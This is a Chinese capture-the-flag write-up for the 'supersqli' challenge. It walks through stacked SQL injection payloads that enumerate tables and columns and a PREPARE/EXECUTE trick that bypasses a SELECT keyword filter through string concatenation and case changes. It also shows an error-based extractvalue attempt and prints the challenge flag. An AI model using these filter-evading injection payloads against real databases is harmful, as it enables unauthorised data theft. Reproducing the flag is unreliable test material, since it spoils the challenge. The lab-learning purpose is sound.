zoukankan      html  css  js  c++  java
  • supersqli

    supersqli

    输入'有报错
    输入"正常
    说明存在注入点

    order by语句可以使用,且判断为两个字段
    考虑联合注入,但是发现select语句不能用,考虑绕过select,那么可以使用预编译

    但是惊人的发现可以使用堆叠注入,这个使用条件比较有限,但是危害非常的大。一步步查询,找到flag:

    爆表
    -1';show tables #

    得知有如下两个表:
    1919810931114514
    words

    爆字段:
    -1';show columns from 1919810931114514 --+
    发现有flag字段,而words表没有flag字段:

    爆数据:
    由于过滤了select,我们可以选中预编译执行
    -1';

    set @sql = CONCAT('se','lect * from 1919810931114514;');

    prepare stmt from @sql;

    EXECUTE stmt; #

    发现过滤prepare和set,那么可以首先考虑大小写或双写来绕过,大小写成功绕过

    也有输出位,也可以考虑一手报错注入,不一定人云亦云,人要有自己的思考。

    -1' and extractvalue('1',concat('~',concat('se','lect * from 1919810931114514')))#

    有点遗憾,还是没有爆出来,各位也可以再尝试尝试

    flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}

  • 相关阅读:
    关于document.body.scrollTop用法
    set回顾
    用户登录与注册
    编写通讯录2
    利用字典的特性编写一个通讯录
    shelve模块
    shutil模块
    列表的拓展
    随机生成验证码2
    递归与欧几里得算法结合求最大公约数
  • 原文地址:https://www.cnblogs.com/sillage/p/13929580.html
Copyright © 2011-2022 走看看